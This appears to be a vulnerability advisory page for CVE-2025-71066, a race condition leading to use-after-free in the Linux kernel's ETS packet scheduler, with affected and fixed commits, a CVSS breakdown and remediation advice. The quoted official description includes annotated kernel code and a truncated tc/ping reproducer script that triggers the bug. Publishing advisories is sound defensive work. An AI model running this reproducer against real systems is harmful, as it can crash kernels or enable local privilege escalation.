Linux: Concurrent Execution using Shared Resource with Improper Synchronization
CVE-2025-71066 is a high-severity concurrent execution using shared resource with improper synchronization vulnerability in Linux, with a CVSS 3.1 base score of 7.8 out of 10. It can be exploited with local access to the system by an attacker with a low-privileged account, without any action from a user. The record lists versions 062d5d544e564473450d72e6af83077c2b2ff7c3, c7f6e7cc14df72b997258216e99d897d2df0dbbd, a75d617a4ef08682f5cfaadc01d5141c87e019c9 as the first without the flaw, so updating Linux to one of those releases or later removes the exposure. There is no confirmed exploitation so far. EPSS estimates a 0.17% chance of exploitation within 30 days, which is low compared with other CVEs.
High severity with no evidence of exploitation so far.
What to do
- Update Linux to 062d5d544e564473450d72e6af83077c2b2ff7c3 or c7f6e7cc14df72b997258216e99d897d2df0dbbd or a75d617a4ef08682f5cfaadc01d5141c87e019c9 or 9987cda315c08f63a02423fa2f9a1f6602c861a0, whichever matches your release line, or a later version.
Affected products and versions
| Vendor | Product | Affected versions | Fixed in |
|---|---|---|---|
| Linux | Linux | ae2659d2c670252759ee9c823c4e039c0e05a6f2 up to, but not including, 062d5d544e564473450d72e6af83077c2b2ff7c3; e25bdbc7e951ae5728fee1f4c09485df113d013c up to, but not including, c7f6e7cc14df72b997258216e99d897d2df0dbbd; de6d25924c2a8c2988c6a385990cafbe742061bf up to, but not including, a75d617a4ef08682f5cfaadc01d5141c87e019c9; de6d25924c2a8c2988c6a385990cafbe742061bf up to, but not including, 9987cda315c08f63a02423fa2f9a1f6602c861a0; de6d25924c2a8c2988c6a385990cafbe742061bf up to, but not including, 06bfb66a7c8b45e3fed01351a4b087410ae5ef39; de6d25924c2a8c2988c6a385990cafbe742061bf up to, but not including, 45466141da3c98a0c5fa88be0bc14b4b6a4bd75c; de6d25924c2a8c2988c6a385990cafbe742061bf up to, but not including, ce052b9402e461a9aded599f5b47e76bc727f7de; 5.10.83 up to, but not including, 5.10.248; and 2 more ranges | 062d5d544e564473450d72e6af83077c2b2ff7c3, c7f6e7cc14df72b997258216e99d897d2df0dbbd, a75d617a4ef08682f5cfaadc01d5141c87e019c9, 9987cda315c08f63a02423fa2f9a1f6602c861a0, 06bfb66a7c8b45e3fed01351a4b087410ae5ef39, 45466141da3c98a0c5fa88be0bc14b4b6a4bd75c |
Version data comes from the organisation that assigned the CVE. Confirm against the vendor advisory before deciding you are unaffected.
How the severity score breaks down
- Attack vector
- LocalThe attacker needs local access or must trick a user into running something.
- Attack complexity
- LowNo special conditions are needed; the attack works reliably.
- Privileges required
- LowA basic user account is enough.
- User interaction
- NoneNo action by a victim is required.
- Scope
- UnchangedImpact stays within the vulnerable component.
- Confidentiality
- HighAll data handled by the component can be read.
- Integrity
- HighData or code can be modified at will.
- Availability
- HighThe component can be taken down completely.
Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H. Scored by CNA.
| Scoring system | Score | Severity | Scored by |
|---|---|---|---|
| CVSS 3.1 | 7.8 | High | CNA |
| CVSS 3.1 | 7.5 | High | CISA (ADP) |
Official description
In the Linux kernel, the following vulnerability has been resolved: net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change [email protected] says: The vulnerability is a race condition between `ets_qdisc_dequeue` and `ets_qdisc_change`. It leads to UAF on `struct Qdisc` object. Attacker requires the capability to create new user and network namespace in order to trigger the bug. See my additional commentary at the end of the analysis. Analysis: static int ets_qdisc_change(struct Qdisc *sch, struct nlattr *opt, struct netlink_ext_ack *extack) { ... // (1) this lock is preventing .change handler (`ets_qdisc_change`) //to race with .dequeue handler (`ets_qdisc_dequeue`) sch_tree_lock(sch); for (i = nbands; i < oldbands; i++) { if (i >= q->nstrict && q->classes[i].qdisc->q.qlen) list_del_init(&q->classes[i].alist); qdisc_purge_queue(q->classes[i].qdisc); } WRITE_ONCE(q->nbands, nbands); for (i = nstrict; i < q->nstrict; i++) { if (q->classes[i].qdisc->q.qlen) { // (2) the class is added to the q->active list_add_tail(&q->classes[i].alist, &q->active); q->classes[i].deficit = quanta[i]; } } WRITE_ONCE(q->nstrict, nstrict); memcpy(q->prio2band, priomap, sizeof(priomap)); for (i = 0; i < q->nbands; i++) WRITE_ONCE(q->classes[i].quantum, quanta[i]); for (i = oldbands; i < q->nbands; i++) { q->classes[i].qdisc = queues[i]; if (q->classes[i].qdisc != &noop_qdisc) qdisc_hash_add(q->classes[i].qdisc, true); } // (3) the qdisc is unlocked, now dequeue can be called in parallel // to the rest of .change handler sch_tree_unlock(sch); ets_offload_change(sch); for (i = q->nbands; i < oldbands; i++) { // (4) we're reducing the refcount for our class's qdisc and // freeing it qdisc_put(q->classes[i].qdisc); // (5) If we call .dequeue between (4) and (5), we will have // a strong UAF and we can control RIP q->classes[i].qdisc = NULL; WRITE_ONCE(q->classes[i].quantum, 0); q->classes[i].deficit = 0; gnet_stats_basic_sync_init(&q->classes[i].bstats); memset(&q->classes[i].qstats, 0, sizeof(q->classes[i].qstats)); } return 0; } Comment: This happens because some of the classes have their qdiscs assigned to NULL, but remain in the active list. This commit fixes this issue by always removing the class from the active list before deleting and freeing its associated qdisc Reproducer Steps (trimmed version of what was sent by [email protected]) ``` DEV="${DEV:-lo}" ROOT_HANDLE="${ROOT_HANDLE:-1:}" BAND2_HANDLE="${BAND2_HANDLE:-20:}" # child under 1:2 PING_BYTES="${PING_BYTES:-48}" PING_COUNT="${PING_COUNT:-200000}" PING_DST="${PING_DST:-127.0.0.1}" SLOW_TBF_RATE="${SLOW_TBF_RATE:-8bit}" SLOW_TBF_BURST="${SLOW_TBF_BURST:-100b}" SLOW_TBF_LAT="${SLOW_TBF_LAT:-1s}" cleanup() { tc qdisc del dev "$DEV" root 2>/dev/null } trap cleanup EXIT ip link set "$DEV" up tc qdisc del dev "$DEV" root 2>/dev/null || true tc qdisc add dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2 tc qdisc add dev "$DEV" parent 1:2 handle "$BAND2_HANDLE" \ tbf rate "$SLOW_TBF_RATE" burst "$SLOW_TBF_BURST" latency "$SLOW_TBF_LAT" tc filter add dev "$DEV" parent 1: protocol all prio 1 u32 match u32 0 0 flowid 1:2 tc -s qdisc ls dev $DEV ping -I "$DEV" -f -c "$PING_COUNT" -s "$PING_BYTES" -W 0.001 "$PING_DST" \ >/dev/null 2>&1 & tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 0 tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2 tc -s qdisc ls dev $DEV tc qdisc del dev "$DEV" parent ---truncated---
Source: the CVE record as published by its numbering authority, via NVD and CVE.org.
The underlying weakness: Concurrent Execution using Shared Resource with Improper Synchronization
The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently.
How developers prevent this class of flaw
- In languages that support it, use synchronization primitives. Only wrap these around critical code to minimize the impact on performance.
- Use thread-safe capabilities such as the data access abstraction in Spring.
- Minimize the usage of shared resources in order to remove as much complexity as possible from the control flow and to reduce the likelihood of unexpected conditions occurring. Additionally, this will minimize the amount of synchronization necessary and may even help to reduce the likelihood of a denial of service where an attacker may be able to repeatedly trigger a critical section (CWE-400).
Timeline
- CVE record published.
- CISA published its SSVC assessment (exploitation: none, automatable: no, technical impact: total).
- Record last changed materially (score, affected products, status or references).
References
Other references
- git.kernel.org/stable/c/062d5d544e564473450d72e6af83077c2b2ff7c3
- git.kernel.org/stable/c/06bfb66a7c8b45e3fed01351a4b087410ae5ef39
- git.kernel.org/stable/c/45466141da3c98a0c5fa88be0bc14b4b6a4bd75c
- git.kernel.org/stable/c/9987cda315c08f63a02423fa2f9a1f6602c861a0
- git.kernel.org/stable/c/a75d617a4ef08682f5cfaadc01d5141c87e019c9
- git.kernel.org/stable/c/c7f6e7cc14df72b997258216e99d897d2df0dbbd
- git.kernel.org/stable/c/ce052b9402e461a9aded599f5b47e76bc727f7de
Recent Concurrent Execution using Shared Resource with Improper Synchronization vulnerabilities
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- 7.5 High severity
- 7.5 High severity
- 7.5 High severity
- 7.5 High severity
- 7.8 High severity
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